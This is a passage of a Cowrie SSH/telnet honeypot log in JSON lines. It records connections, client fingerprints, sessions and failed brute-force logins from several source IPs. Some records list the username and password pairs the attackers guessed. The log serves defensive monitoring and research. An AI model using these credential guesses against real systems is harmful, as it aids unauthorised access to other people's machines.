af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:43:06.640662Z","src_ip":"148.230.169.229","session":"14637e796f65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"secure","message":"login attempt [ubuntu/secure] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:43:06.901177Z","src_ip":"148.230.169.229","session":"14637e796f65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:43:07.700706Z","src_ip":"112.151.178.49","session":"89b834ad0a72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":45686,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3443e7c7b91","protocol":"telnet","message":"New connection: 137.184.155.248:45686 (10.17.0.5:23) [session: b3443e7c7b91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:43:08.345918Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:43:08.386028Z","src_ip":"148.230.169.229","session":"14637e796f65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.63827061653137,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:43:10.158539Z","src_ip":"137.184.155.248","session":"d8b40730522c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":57214,"dst_ip":"159.203.135.109","dst_port":23,"session":"d87b6be52fc4","protocol":"telnet","message":"New connection: 185.26.126.47:57214 (159.203.135.109:23) [session: d87b6be52fc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:43:10.335094Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":45690,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9a54e029702","protocol":"telnet","message":"New connection: 137.184.155.248:45690 (10.17.0.5:23) [session: f9a54e029702]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:43:12.856607Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":54166,"dst_ip":"10.17.0.5","dst_port":23,"session":"3784db23c725","protocol":"telnet","message":"New connection: 137.184.155.248:54166 (10.17.0.5:23) [session: 3784db23c725]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:43:18.329267Z"}
{"eventid":"cowrie.session.closed","duration":43.57614326477051,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:43:20.244727Z","src_ip":"137.184.155.248","session":"50db68d31f21","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":38410,"dst_ip":"159.203.135.109","dst_port":23,"session":"fab84a7f3908","protocol":"telnet","message":"New connection: 185.26.126.47:38410 (159.203.135.109:23) [session: fab84a7f3908]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:43:23.421393Z"}
{"eventid":"cowrie.session.closed","duration":45.870259046554565,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:43:25.421776Z","src_ip":"137.184.155.248","session":"f75b5396282a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.892101764678955,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:43:35.313360Z","src_ip":"185.26.126.47","session":"fab84a7f3908","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.29482579231262,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:43:39.269936Z","src_ip":"137.184.155.248","session":"19f0ba0a7325","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":40416,"dst_ip":"10.17.0.5","dst_port":23,"session":"220ab80ba015","protocol":"telnet","message":"New connection: 137.184.155.248:40416 (10.17.0.5:23) [session: 220ab80ba015]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:43:43.957872Z"}
{"eventid":"cowrie.session.closed","duration":47.39297866821289,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:43:46.635048Z","src_ip":"137.184.155.248","session":"bc4f3840c606","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.21500539779663,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:43:52.346998Z","src_ip":"137.184.155.248","session":"1d41a7347915","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.200989961624146,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:43:53.546815Z","src_ip":"137.184.155.248","session":"b3443e7c7b91","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.43.132.107","src_port":21083,"dst_ip":"159.203.135.109","dst_port":23,"session":"b633fe4110d2","protocol":"telnet","message":"New connection: 89.43.132.107:21083 (159.203.135.109:23) [session: b633fe4110d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:43:55.728292Z"}
{"eventid":"cowrie.session.closed","duration":45.77389645576477,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:43:56.108853Z","src_ip":"185.26.126.47","session":"d87b6be52fc4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.7018084526062,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:43:57.558280Z","src_ip":"137.184.155.248","session":"f9a54e029702","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"112.151.178.49","src_port":32274,"dst_ip":"10.17.0.5","dst_port":22,"session":"855dc70e6aef","protocol":"ssh","message":"New connection: 112.151.178.49:32274 (10.17.0.5:22) [session: 855dc70e6aef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:43:59.404426Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:43:59.409267Z","src_ip":"112.151.178.49","session":"855dc70e6aef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:43:59.608300Z","src_ip":"112.151.178.49","session":"855dc70e6aef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu123#","message":"login attempt [ubuntu/ubuntu123#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:44:00.438973Z","src_ip":"112.151.178.49","session":"855dc70e6aef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:44:01.642618Z","src_ip":"112.151.178.49","session":"855dc70e6aef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.514885902404785,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:44:04.844043Z","src_ip":"137.184.155.248","session":"3784db23c725","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":49460,"dst_ip":"10.17.0.5","dst_port":23,"session":"e21e60bbbaa7","protocol":"telnet","message":"New connection: 137.184.155.248:49460 (10.17.0.5:23) [session: e21e60bbbaa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:44:06.114748Z"}
{"eventid":"cowrie.session.closed","duration":120.00191187858582,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:44:07.957143Z","src_ip":"31.43.241.152","session":"c46f762bcdd5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.19321346282959,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:44:08.921306Z","src_ip":"89.43.132.107","session":"b633fe4110d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"58.186.20.101","src_port":39996,"dst_ip":"10.17.0.5","dst_port":22,"session":"22fed160c4c0","protocol":"ssh","message":"New connection: 58.186.20.101:39996 (10.17.0.5:22) [session: 22fed160c4c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:44:09.547861Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:44:09.552777Z","src_ip":"58.186.20.101","session":"22fed160c4c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:44:09.830642Z","src_ip":"58.186.20.101","session":"22fed160c4c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"9876543210","message":"login attempt [ubuntu/9876543210] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:44:10.881616Z","src_ip":"58.186.20.101","session":"22fed160c4c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:44:12.142385Z","src_ip":"58.186.20.101","session":"22fed160c4c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.7597930431366,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:44:31.717534Z","src_ip":"137.184.155.248","session":"220ab80ba015","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":44440,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f8afd5b07df","protocol":"telnet","message":"New connection: 137.184.155.248:44440 (10.17.0.5:23) [session: 1f8afd5b07df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:44:45.972508Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":44448,"dst_ip":"10.17.0.5","dst_port":23,"session":"93a34a34ec87","protocol":"telnet","message":"New connection: 137.184.155.248:44448 (10.17.0.5:23) [session: 93a34a34ec87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:44:46.566550Z"}
{"eventid":"cowrie.session.connect","src_ip":"112.151.178.49","src_port":45365,"dst_ip":"10.17.0.5","dst_port":22,"session":"95cca32c7329","protocol":"ssh","message":"New connection: 112.151.178.49:45365 (10.17.0.5:22) [session: 95cca32c7329]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:44:54.069443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:44:54.074574Z","src_ip":"112.151.178.49","session":"95cca32c7329","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:44:54.279618Z","src_ip":"112.151.178.49","session":"95cca32c7329","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.2414333820343,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:44:54.356078Z","src_ip":"137.184.155.248","session":"e21e60bbbaa7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Ubuntu@2024","message":"login attempt [ubuntu/Ubuntu@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:44:55.123433Z","src_ip":"112.151.178.49","session":"95cca32c7329","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:44:56.331634Z","src_ip":"112.151.178.49","session":"95cca32c7329","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":52710,"dst_ip":"10.17.0.5","dst_port":23,"session":"264718fc3a6f","protocol":"telnet","message":"New connection: 137.184.155.248:52710 (10.17.0.5:23) [session: 264718fc3a6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:45:06.650846Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.232","src_port":51046,"dst_ip":"10.17.0.5","dst_port":22,"session":"f8e9b2122731","protocol":"ssh","message":"New connection: 190.244.39.232:51046 (10.17.0.5:22) [session: f8e9b2122731]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:45:09.858367Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:45:09.867232Z","src_ip":"190.244.39.232","session":"f8e9b2122731","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:45:10.057946Z","src_ip":"190.244.39.232","session":"f8e9b2122731","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"hgfdsa","message":"login attempt [test/hgfdsa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:45:10.825129Z","src_ip":"190.244.39.232","session":"f8e9b2122731","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:45:12.025408Z","src_ip":"190.244.39.232","session":"f8e9b2122731","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":45066,"dst_ip":"10.17.0.5","dst_port":23,"session":"21634285bbcd","protocol":"telnet","message":"New connection: 137.184.155.248:45066 (10.17.0.5:23) [session: 21634285bbcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:45:22.246905Z"}
{"eventid":"cowrie.session.closed","duration":44.54915404319763,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:45:31.115596Z","src_ip":"137.184.155.248","session":"93a34a34ec87","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":51226,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c1e051aa4c1","protocol":"telnet","message":"New connection: 137.184.155.248:51226 (10.17.0.5:23) [session: 4c1e051aa4c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:45:32.423472Z"}
{"eventid":"cowrie.session.closed","duration":46.564990520477295,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:45:32.537382Z","src_ip":"137.184.155.248","session":"1f8afd5b07df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":52004,"dst_ip":"10.17.0.5","dst_port":23,"session":"f730d922edc4","protocol":"telnet","message":"New connection: 137.184.155.248:52004 (10.17.0.5:23) [session: f730d922edc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:45:39.288675Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":58392,"dst_ip":"10.17.0.5","dst_port":23,"session":"a996f4ee7807","protocol":"telnet","message":"New connection: 137.184.155.248:58392 (10.17.0.5:23) [session: a996f4ee7807]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:45:44.680563Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":58396,"dst_ip":"10.17.0.5","dst_port":23,"session":"1eed0e2997e7","protocol":"telnet","message":"New connection: 137.184.155.248:58396 (10.17.0.5:23) [session: 1eed0e2997e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:45:45.824803Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":49314,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a303a7531c2","protocol":"telnet","message":"New connection: 185.26.126.47:49314 (159.203.135.109:23) [session: 8a303a7531c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:45:46.194744Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":58410,"dst_ip":"10.17.0.5","dst_port":23,"session":"607feb0d6133","protocol":"telnet","message":"New connection: 137.184.155.248:58410 (10.17.0.5:23) [session: 607feb0d6133]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:45:50.789520Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":58404,"dst_ip":"10.17.0.5","dst_port":23,"session":"2baf724367f8","protocol":"telnet","message":"New connection: 137.184.155.248:58404 (10.17.0.5:23) [session: 2baf724367f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:45:50.793964Z"}
{"eventid":"cowrie.session.connect","src_ip":"112.151.178.49","src_port":57559,"dst_ip":"10.17.0.5","dst_port":22,"session":"a324cce1ce99","protocol":"ssh","message":"New connection: 112.151.178.49:57559 (10.17.0.5:22) [session: a324cce1ce99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:45:50.815482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:45:50.821249Z","src_ip":"112.151.178.49","session":"a324cce1ce99","protocol":"ssh"}
